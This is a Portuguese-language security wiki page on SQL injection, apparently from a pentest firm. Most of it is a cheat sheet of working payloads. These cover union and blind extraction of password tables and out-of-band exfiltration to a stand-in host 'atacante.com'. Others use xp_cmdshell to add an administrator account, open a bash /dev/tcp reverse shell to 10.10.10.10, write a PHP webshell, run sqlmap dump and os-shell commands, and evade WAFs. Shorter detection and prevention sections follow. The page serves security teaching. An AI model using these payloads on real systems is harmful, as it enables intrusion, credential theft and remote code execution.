// INICIALIZANDO SISTEMA...
Falar no WhatsApp

Utilizamos cookies essenciais para o funcionamento do site. Ao continuar, você concorda com nossa Política de Privacidade e com a LGPD.

CyberZ
Fale Conosco
CyberWiki / Web Hacking / SQL Injection (SQLi)
● Intermediário 35 min de leitura SQLi OWASP MySQL MSSQL Oracle PostgreSQL Blind SQLi WAF Bypass sqlmap

SQL Injection (SQLi)

SQL Injection é uma das vulnerabilidades mais críticas e prevalentes da web, presente no OWASP Top 10 há mais de uma década. Permite manipular queries SQL para exfiltrar dados, bypassar autenticação, escrever arquivos e até executar comandos no sistema operacional. Este guia cobre desde os fundamentos até técnicas avançadas de exploração e bypass de WAF.

O que é SQL Injection e por que acontece

SQL Injection ocorre quando input do usuário é concatenado diretamente em uma query SQL sem sanitização ou parametrização adequada. O banco de dados não consegue distinguir código SQL legítimo de dados fornecidos pelo usuário — ele simplesmente executa tudo.

-- Código PHP vulnerável
$query = "SELECT * FROM users WHERE username='" . $_GET['user'] . "'";

-- Input normal: admin
SELECT * FROM users WHERE username='admin'

-- Input malicioso: ' OR '1'='1
SELECT * FROM users WHERE username='' OR '1'='1'
-- Retorna TODOS os usuários

Identificação de Pontos de Injeção

Qualquer parâmetro que vá para o banco é candidato: GET/POST params, cookies, headers HTTP, JSON bodies, XML, paths de URL.

-- Teste básico: injetar caractere especial
' " ) ] -- #

-- Se a aplicação retornar erro de SQL ou comportamento anormal = vulnerável
-- Exemplos de respostas que indicam SQLi:
You have an error in your SQL syntax
ORA-01756: quoted string not properly terminated
Unclosed quotation mark after the character string
Warning: mysql_fetch_array()

Tipos de SQL Injection

1. Classic / In-Band (Error-Based)

A resposta chega no mesmo canal HTTP. Erros de banco expostos revelam dados diretamente.

-- MySQL: extractvalue() para exfiltrar via erro
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()))) --
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT database()))) --
' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT user()))) --

-- MySQL: updatexml()
' AND UPDATEXML(1, CONCAT(0x7e, (SELECT @@datadir)), 1) --

-- MSSQL: converter erro para exfiltrar
' AND 1=CONVERT(int, (SELECT TOP 1 table_name FROM information_schema.tables)) --

-- Oracle: usando ctxsys.drithsx.sn
' AND 1=ctxsys.drithsx.sn(1,(SELECT banner FROM v$version WHERE rownum=1)) --

2. Union-Based

Injeta um segundo SELECT cujos resultados aparecem na resposta. Requer descobrir o número de colunas e tipos compatíveis.

-- Passo 1: descobrir número de colunas com ORDER BY
' ORDER BY 1 --   (sem erro)
' ORDER BY 2 --   (sem erro)
' ORDER BY 5 --   (erro = há 4 colunas)

-- Passo 2: descobrir com UNION SELECT nulos
' UNION SELECT NULL,NULL,NULL,NULL --

-- Passo 3: identificar coluna que exibe texto
' UNION SELECT 'a',NULL,NULL,NULL --
' UNION SELECT NULL,'a',NULL,NULL --

-- Passo 4: extrair dados
' UNION SELECT table_name,NULL,NULL,NULL FROM information_schema.tables --
' UNION SELECT column_name,NULL,NULL,NULL FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT username,password,NULL,NULL FROM users --

-- Concatenar múltiplos valores numa coluna
' UNION SELECT CONCAT(username,0x3a,password),NULL FROM users --

-- Oracle (sem information_schema)
' UNION SELECT table_name,NULL FROM all_tables --
' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS' --

3. Boolean-Based Blind

Sem dados na resposta, mas é possível inferir bit a bit pelo comportamento (página normal vs. erro/vazia).

-- Confirmar vulnerabilidade
' AND 1=1 --   → resposta normal
' AND 1=2 --   → resposta diferente

-- Extrair versão do banco caractere por caractere
' AND SUBSTRING(version(),1,1)='5' --
' AND ASCII(SUBSTRING(version(),1,1))>52 --  (busca binária)

-- Extrair nome do banco
' AND SUBSTRING(database(),1,1)='a' --

-- MySQL: extraindo dados char a char
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>97 --

-- PostgreSQL: cast para boolean
' AND (SELECT SUBSTRING(usename,1,1) FROM pg_user LIMIT 1)='p' --

4. Time-Based Blind

Quando não há diferença visual na resposta — o atraso na resposta confirma a condição.

-- MySQL: SLEEP()
' AND SLEEP(5) --                          → delay de 5s = vulnerável
' AND IF(1=1, SLEEP(5), 0) --             → delay = condição verdadeira
' AND IF(ASCII(SUBSTRING(database(),1,1))=115, SLEEP(5), 0) --

-- MSSQL: WAITFOR DELAY
'; WAITFOR DELAY '0:0:5' --
'; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5' --

-- PostgreSQL: pg_sleep()
'; SELECT pg_sleep(5) --
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END) IS NOT NULL --

-- Oracle: dbms_pipe.receive_message
'; EXECUTE dbms_pipe.receive_message(('a'),5) --

-- SQLite: randomblob (burn CPU para delay)
' AND 1=randomblob(999999999) --

5. Out-of-Band (OOB)

Exfiltração via DNS ou HTTP para servidor controlado pelo atacante. Útil quando respostas in-band são bloqueadas.

-- MySQL: LOAD_FILE() com UNC path (Windows)
' AND LOAD_FILE(CONCAT('\\\\',( SELECT password FROM users LIMIT 1),'.atacante.com\\a')) --

-- MySQL: INTO OUTFILE para DNS (requires FILE privilege)
' UNION SELECT load_file(0x5c5c5c5c6174616361...) --

-- MSSQL: xp_dirtree via DNS
'; EXEC master..xp_dirtree '\\'+( SELECT TOP 1 password FROM users)+'.atacante.com\a' --

-- Oracle: UTL_HTTP
'; DECLARE req UTL_HTTP.REQ; BEGIN req := UTL_HTTP.BEGIN_REQUEST('http://atacante.com/'||(SELECT password FROM users WHERE rownum=1)); END; --

-- Oracle: UTL_INADDR.get_host_address (DNS)
' AND 1=UTL_INADDR.get_host_address((SELECT password FROM users WHERE rownum=1)||'.atacante.com') --

6. Second-Order (Stored) SQLi

O payload é armazenado no banco sem execução imediata. Quando recuperado e usado em outra query, dispara.

-- Exemplo: cadastro com username malicioso
Username: admin'--

-- Registro salvo no banco: admin'--

-- Mais tarde, ao mudar senha:
UPDATE users SET password='nova' WHERE username='admin'--'
-- Equivale a: UPDATE users SET password='nova' WHERE username='admin'
-- Muda senha do admin sem autenticação!

7. Stacked Queries

Permite executar múltiplos comandos SQL separados por ponto-e-vírgula. Suportado por MSSQL, PostgreSQL, SQLite. MySQL raramente via PDO.

-- MSSQL
'; INSERT INTO users VALUES ('hacker','hash123') --
'; EXEC xp_cmdshell('whoami') --
'; DROP TABLE logs --

-- PostgreSQL
'; CREATE TABLE cmd_exec(cmd_output text) --
'; COPY cmd_exec FROM PROGRAM 'id' --
'; SELECT * FROM cmd_exec --

Execução de Comandos no OS

MSSQL — xp_cmdshell

-- Verificar se xp_cmdshell está habilitado
SELECT value FROM sys.configurations WHERE name='xp_cmdshell'

-- Habilitar (requer sysadmin)
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Executar comandos
EXEC xp_cmdshell 'whoami'
EXEC xp_cmdshell 'net user hacker Password123! /add'
EXEC xp_cmdshell 'net localgroup administrators hacker /add'

-- Reverse shell via PowerShell
EXEC xp_cmdshell 'powershell -enc BASE64_PAYLOAD'

MySQL — Leitura/Escrita de Arquivos

-- Ler arquivos do sistema (requer FILE privilege)
' UNION SELECT LOAD_FILE('/etc/passwd'),NULL,NULL --
' UNION SELECT LOAD_FILE('/etc/shadow'),NULL,NULL --
' UNION SELECT LOAD_FILE('C:/Windows/System32/drivers/etc/hosts'),NULL,NULL --

-- Escrever webshell (requer INTO OUTFILE e dir gravável)
' UNION SELECT '' INTO OUTFILE '/var/www/html/shell.php' --

-- Verificar permissões
SELECT file_priv FROM mysql.user WHERE user=user();
SHOW VARIABLES LIKE 'secure_file_priv';

PostgreSQL — COPY FROM PROGRAM

-- PostgreSQL 9.3+ como superuser
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

-- Reverse shell
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"';

Extração de Metadados por Banco

-- MySQL / MariaDB
SELECT schema_name FROM information_schema.schemata;
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
SELECT column_name FROM information_schema.columns WHERE table_name='users';
SELECT user,password FROM mysql.user;  -- hashes de usuários do banco

-- MSSQL
SELECT name FROM master.dbo.sysdatabases;
SELECT name FROM sysobjects WHERE xtype='U';  -- tabelas do usuário
SELECT name FROM syscolumns WHERE id=OBJECT_ID('users');
SELECT loginname,password_hash FROM sys.sql_logins;

-- Oracle
SELECT owner,table_name FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';
SELECT username,password FROM dba_users;
SELECT banner FROM v$version;

-- PostgreSQL
SELECT datname FROM pg_database;
SELECT tablename FROM pg_tables WHERE schemaname='public';
SELECT column_name FROM information_schema.columns WHERE table_name='users';
SELECT usename,passwd FROM pg_shadow;  -- requer superuser

-- SQLite
SELECT name FROM sqlite_master WHERE type='table';
SELECT sql FROM sqlite_master WHERE name='users';

Bypass de Autenticação

-- Técnicas clássicas
admin'--
admin'#
admin'/*
' OR 1=1--
' OR 'x'='x
' OR 1=1 LIMIT 1--

-- Username e password separados
Username: admin'--
Password: qualquer_coisa

-- Operadores alternativos
' OR 2>1--
' OR 'abc'='abc'--

-- Para formulários que verificam username E password na mesma query
' OR 1=1 ORDER BY 1--

-- Bypass de MD5
Username: admin
Password: ' OR 1=1 AND password=MD5('123')--

SQLMap — Automação Completa

# Teste básico de URL
sqlmap -u "https://alvo.com/item?id=1"

# Com método POST
sqlmap -u "https://alvo.com/login" --data="user=admin&pass=123"

# A partir de request salvo do Burp Suite
sqlmap -r request.txt

# Nível e risco máximos (mais testes, mais agressivo)
sqlmap -r request.txt --level=5 --risk=3

# Especificar banco de dados alvo
sqlmap -u "URL" --dbms=mysql
sqlmap -u "URL" --dbms=mssql
sqlmap -u "URL" --dbms=oracle

# Enumerar bancos, tabelas, colunas, dados
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D nome_db --tables
sqlmap -u "URL" -D nome_db -T users --columns
sqlmap -u "URL" -D nome_db -T users -C username,password --dump

# Dump completo do banco
sqlmap -u "URL" -D nome_db --dump-all

# Executar shell OS
sqlmap -u "URL" --os-shell
sqlmap -u "URL" --os-cmd="whoami"

# Subir arquivo
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"

# Bypass WAF com tamper scripts
sqlmap -u "URL" --tamper=space2comment
sqlmap -u "URL" --tamper=between,randomcase,space2comment
sqlmap -u "URL" --tamper=charunicodeencode

# Com cookies de sessão
sqlmap -u "URL" --cookie="PHPSESSID=abc123; role=user"

# Proxy via Burp
sqlmap -u "URL" --proxy=http://127.0.0.1:8080

# Injeção em header
sqlmap -u "URL" --headers="X-Forwarded-For: 1*"
sqlmap -u "URL" -p "X-Forwarded-For" --headers="X-Forwarded-For: 1"

Bypass de WAF — Técnicas Avançadas

-- Case variation
SeLeCt * FrOm users

-- Comentários inline
SELECT/**/username/**/FROM/**/users
/*!50000SELECT*/ username FROM users  (MySQL versioned comments)

-- Espaços alternativos (TAB, newline, form feed)
SELECT%09username%09FROM%09users
SELECT%0Ausername%0AFROM%0Ausers

-- Encoding
%27 OR %271%27%3D%271         (URL encoding)
%2527                          (double URL encoding)
\' OR \'1\'=\'1              (backslash encoding)

-- Concatenação para ofuscar strings
-- MySQL
SELECT CONCAT(0x61,0x64,0x6d,0x69,0x6e)  -- 'admin'
SELECT 0x61646d696e                        -- 'admin' em hex

-- MSSQL
SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)

-- Oracle
SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110) FROM dual

-- PostgreSQL
SELECT CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)

-- HTTP Parameter Pollution
?id=1&id=UNION SELECT...

-- Fragmentação de keywords
' UN/**/ION SEL/**/ECT ...

-- Científico (bypassa = em algumas regras)
' OR 1e0=1e0--

-- Operadores alternativos para = e LIKE
' OR 1 LIKE 1--
' OR 1 BETWEEN 0 AND 2--
' OR 1 IN(1)--

Detecção (Blue Team)

Padrões em logs que indicam tentativas de SQLi:

# Nginx/Apache — patterns suspeitos
grep -E "('|\"|--|#|/\*|xp_|UNION|SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|EXEC|CAST|CONVERT|CHAR|ASCII)" access.log

# WAF rules (ModSecurity — OWASP CRS)
SECRULE ARGS "@detectSQLi" "id:942100,phase:2,block"

# Alertas de time-based (requests muito lentos)
# SLEEP(), WAITFOR DELAY, pg_sleep aparecem em slow query logs

# MySQL slow query log
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL long_query_time = 2;
SHOW VARIABLES LIKE 'slow_query_log_file';

Prevenção

// PHP — Prepared Statements com PDO
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = :email AND password = :pass');
$stmt->execute(['email' => $email, 'pass' => $pass]);

// PHP — MySQLi
$stmt = $mysqli->prepare('SELECT * FROM users WHERE id = ?');
$stmt->bind_param('i', $id);
$stmt->execute();

// Java — PreparedStatement
PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?");
ps.setInt(1, userId);

// Python — SQLAlchemy
result = db.execute(text("SELECT * FROM users WHERE id = :id"), {"id": user_id})

// Node.js — mysql2
connection.execute('SELECT * FROM users WHERE id = ?', [userId], callback);

// Stored Procedures também ajudam, mas devem usar parâmetros internamente
  • Prepared Statements — única proteção real contra SQLi; o banco trata input como dado, nunca como código
  • Princípio do Menor Privilégio — usuário do banco com SELECT apenas; sem FILE, sem xp_cmdshell, sem DROP
  • Validação de Input — whitelist de tipos esperados (integer, UUID, etc.); nunca blacklist
  • WAF — camada adicional (ModSecurity + OWASP CRS), nunca única defesa
  • Error Handling — nunca exibir erros de SQL ao usuário; logar internamente
  • Monitoramento — slow query log, alertas para queries incomuns

CVEs Notáveis

  • CVE-2012-2122 — MySQL: bypass de autenticação por timing attack em comparação de senha
  • CVE-2023-23752 — Joomla: SQLi sem autenticação via API REST
  • CVE-2024-27956 — WordPress plugin WP Automatic: SQLi crítico (CVSS 9.8)
  • CVE-2023-34362 — MOVEit Transfer: SQLi zero-day usado pelo grupo Cl0p para roubar dados de centenas de organizações

Labs para Praticar

  • PortSwigger Web Academy — laboratórios de SQLi do básico ao avançado (gratuito)
  • HackTheBox — boxes: Valentine, Chatterbox, Bart
  • TryHackMe — room: SQL Injection, Advanced SQL Injection
  • DVWA — Damn Vulnerable Web Application (local)
  • SQLi-labs — ambiente dedicado com 65 desafios progressivos
Quer testar isso na prática?
A CyberZ realiza testes autorizados de segurança usando as técnicas descritas neste artigo — e muito mais. Identifique suas vulnerabilidades antes que os invasores o façam.
Falar com Especialista